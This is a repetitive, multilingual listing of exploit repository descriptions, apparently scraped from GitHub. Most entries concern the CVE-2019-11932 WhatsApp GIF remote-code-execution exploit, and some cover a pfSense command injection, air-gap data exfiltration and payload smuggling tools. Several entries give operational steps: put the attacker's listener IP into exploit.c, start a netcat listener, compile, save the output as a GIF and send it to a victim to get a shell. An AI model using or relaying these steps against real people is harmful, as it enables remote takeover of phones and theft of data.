CVE-2019-11932

CVE-2019-11932 WhatsAppのダブルフリー脆弱性がどのようにRCEになるか このブログ記事では、Android版WhatsAppで発見したダブルフリー（二重解放）脆弱性と、それをRCEにした方法について共有します。この問題はFacebookに報告しました。Facebookはこの問題を認識し、WhatsAppバージョン2.19.244で正式にパッチを公開しました。Facebookはこの問題に対するCVE-2019-11932の確保も支援してくれました。...

CVE-2019-11932

CVE-2019-11932 WhatsAppのエクスプロイトPoCにおけるダブルフリーのバグ。 注意: シェルを取得するために exploit.c 内のリスナーIPを設定してください。 nc -lvp 5555 または任意のポート。 そしてコンパイルします。 gcc -o exploit egiflib.c exploit.c その後、./exploit を実行し、内容を .gif に保存します。 そして被害者に送信します。 ソース https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/. PoC動画...

QRExfil

QRExfiltrate 이 도구는 바이너리 파일을 QR 코드 GIF로 변환할 수 있는 명령줄 유틸리티입니다. 데이터는 시각적으로 재조립되어 에어갭 시스템에서 데이터를 유출할 수 있습니다. 이는 DLP 소프트웨어의 취약점, 즉 데이터가 이메일, USB 스틱 또는 기타 매체를 통해서만 시스템을 떠난다는 가정을 입증하기 위한 개념 증명으로 설계되었습니다. 이 도구는 바이너리 파일을 가져와 일련의 QR 코드 이미지로 변환합니다. 그런 다음 이 이미지들을 GIF 파일로 결합하여 표준 QR 코드 리더를 사용하여 쉽게 재조립할 수 있습니다...

CVE-2019-11932-SupportApp

CVE-2019-11932-SupportApp このネイティブコードファイルは、Awakened によって公開された Whatsapp GIF RCE エクスプロイトを補完することを目的としており、異なる種類のデバイスに対して system 関数アドレスと ROP ガジェットアドレスを計算し、それらを使用して脆弱性を正常に悪用できるようにします。...

CVE-2019-11932

CVE-2019-11932 system とガジェットのアドレスは、情報漏えいの脆弱性によって見つかった実際のアドレスに置き換える必要があります。 system とガジェットのアドレスを置き換えたら、コードを実行して破損した GIF ファイルを生成します: notroot@osboxes:/Desktop/gif$ make ..... ..... ..... notroot@osboxes:/Desktop/gif$ ./exploit exploit.gif buffer = 0x7ffc586cd8b0 size = 266 47 49 46 38 39 61 18 00 0A ...

CVE-2023-42326

pfSense 2.7.0 コマンドインジェクションエクスプロイト CVE-2023-42326 このPythonスクリプトは、pfSense 2.7.0のコマンドインジェクション脆弱性（CVE-2023-42326）に対する概念実証（PoC）エクスプロイトです。この脆弱性により、認証された攻撃者は interfacesgifedit.php および interfacesgreedit.php コンポーネントを介して任意のコマンドを注入し実行できます。 機能 エクスプロイトモード選択（gif または gre）により、脆弱なコンポーネントを選択します。...

ImageMagick-CVE-2017-15277

ImageMagick-CVE-2017-15277 CVE-2017-15277용 PoC 파일, neex/gifoeb와 함께 사용 https://github.com/neex/gifoeb...

CVE-2019-11932

CVE-2019-11932 system と gadget のアドレスは、情報漏洩の脆弱性によって見つかった実際のアドレスに置き換える必要があります。 system と gadget のアドレスを置き換えた後、次のコードを実行して破損した GIF ファイルを生成します。 notroot@osboxes:/Desktop/gif$ make ..... ..... ..... notroot@osboxes:/Desktop/gif$ ./exploit exploit.gif buffer = 0x7ffc586cd8b0 size = 266 47 49 46 38 39 61 18...

CVE-2020-11932

CVE-2020-11932 WhatsApp 익스플로잇 poc의 Double-Free 버그. 참고: 쉘을 얻기 위해 exploit.c에 수신자listener IP를 설정해야 합니다. nc -lvp 1337 또는 원하는 포트. 그런 다음 컴파일하세요. make 또는 gcc -o exploit egiflib.c exploit.c 그런 다음 ./exploit을 실행하고 내용을 .gif로 저장하세요. 피해자에게 보내세요. 출처...

CVE-2019-11932

CVE-2019-11932 systemのアドレスとgadgetは、情報漏洩の脆弱性で見つかった実際のアドレスに置き換える必要があります。 systemのアドレスとgadgetを置き換えた後、以下のコードを実行して悪意のあるGIFファイルを生成します: notroot@osboxes:/Desktop/gif$ make ..... ..... ..... notroot@osboxes:/Desktop/gif$ ./exploit exploit.gif buffer = 0x7ffc586cd8b0 size = 266 47 49 46 38 39 61 18 00 0A 00...

ssrf-sheriff

SSRF Sheriff This is an SSRF testing sheriff written in Go. It was originally created for the Uber H1-4420 2019 London Live Hacking Event, but it is now being open-sourced for other organizations to implement and contribute back to. Features Respond to any HTTP method GET, POST, PUT, DELETE, etc...

CVE-2019-11932

CVE-2019-11932 WhatsAppエクスプロイトPoCのダブルフリーバグ。 注意: シェルを取得するために、exploit.c内のリスナーIPを設定してください。 nc -lvp 1337 または任意のポート。 そしてコンパイル。 make または gcc -o exploit egiflib.c exploit.c 次に ./exploit を実行し、出力を .gif に保存。 被害者に送信。 ソース https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/. PoC動画...

WhatsPayloadRCE

WhatsPayloadRCE これは CVE-2019-11932 WhatsApp リモートコード実行 用の自動生成ペイロードです。 1. GCC の自動インストール 無害なコマンドです。オープンソースであることが確認できます 2. .GIF ファイルに保存 使い方？ sudo apt install git git clone https://github.com/Err0r-ICA/WhatsPayloadRCE cd WhatsPayloadRCE && bash start スクリーンショット シェルを取得する方法？ 1. .GIF ファイルを被害者ユーザーに...

CVE-2019-11932

CVE-2019-11932 exploit.cファイル内の待受アドレス（攻撃者のもの）と待受ポートを変更してください。 次の16進コード： 3139 322e 3136 382e 322e 3732 2034 3434 3420 コードをコンパイルします： gcc -o exploit egiflib.c exploit.c コンパイルされたファイルを実行します：./exploit exploit.gif 出力をgifにコピーします netcatリスナーを起動します： nc -lvp 4444 被害者に送信してください！ 影響を受けるバージョン: 2.19.230 以下 公式にはバージ...

BobTheSmuggler

BobTheSmuggler 빠른 업데이트 2024년 1월 15일 -다중 파일 압축 지원이 추가되었습니다. 최종 페이로드에 대해 여러 파일이 생성된 경우예: DLL-Sideloading 파일 또는 다단계 전달 파일, 이제 '-i' 옵션을 사용하여 디렉터리 경로를 지정할 수 있습니다. 디렉터리 경로가 제공되면 BobTheSmuggler는 해당 디렉터리의 모든 파일을 자동으로 아카이브하고, XOR 암호화한 후 PNG/GIF 내부에 임베드합니다. 프로젝트 설명 이 도구를 사용하는 방법에 대한 자세한 내용은 제 블로그 게시물을 참조하세...

CVE-2019-11932

CVE-2019-11932 system と gadget のアドレスは、情報漏えいの脆弱性によって見つかった実際のアドレスに置き換える必要があります。 system と gadget のアドレスを置き換えた後、以下のコードを実行して破損した GIF ファイルを生成します: notroot@osboxes:/Desktop/gif$ make ..... ..... ..... notroot@osboxes:/Desktop/gif$ ./exploit exploit.gif buffer = 0x7ffc586cd8b0 size = 266 47 49 46 38 39 61 ...

CVE-2019-11933

CVE-2019-11933 堆损坏影响 Android 版 WhatsApp（版本 2.19.291 之前）的媒体选择器 背景 GIF 文件被分割为多个段，由特定字节标记： 图像 0x2C 图像段描述 GIF 文件中的单个帧，包含高度、宽度以及压缩图像本身等信息。一个 GIF 可以有多个帧，因此有多个图像段。 扩展 0x21 扩展段包含用于修改图像的数据。 终止 0x3B 标记 GIF 文件的结束 根据源代码，renderFrame 调用 DDGifSlurp 解析 GIF，并调用 getBitmap 显示 GIF。函数分配了一个 rasterBits...

CVE-2019-11932-SupportApp

CVE-2019-11932-SupportApp このネイティブコードファイルは、Awakened によって公開された Whatsapp GIF RCE exploit を補完することを目的としており、さまざまなタイプのデバイスに対して system 関数アドレスと ROP gadget アドレスを計算し、それを使用して脆弱性を正常に悪用できるようにします。...

CVE-2019-11932-whatsApp-exploit

CVE-2019-11932-whatsap-exploit system と gadget のアドレスは、情報漏えいの脆弱性によって見つかった実際のアドレスに置き換える必要があります。 system と gadget のアドレスを置き換えたら、コードを実行して破損した GIF ファイルを生成します。 では、やってみましょう root@mranonymousTZ:/root/Desktop/CVE-2019-11932-whatsap-exploit$ chmod +x build.py...

WhatsRCE

WhatsRCE これはCVE-2019-11932（WhatsApp リモートコード実行）用のペイロードを自動生成するツールです 1. GCCを自動インストール（無害なコマンドです。オープンソースなので確認できます） 2. .GIF ファイルに保存します 使い方 sudo apt install git git clone https://github.com/KeepWannabe/WhatsRCE cd WhatsRCE && bash start.sh シェルを取得する方法 1. .GIF ファイルを被害者ユーザーに画像ではなくドキュメントとして 送信します 2...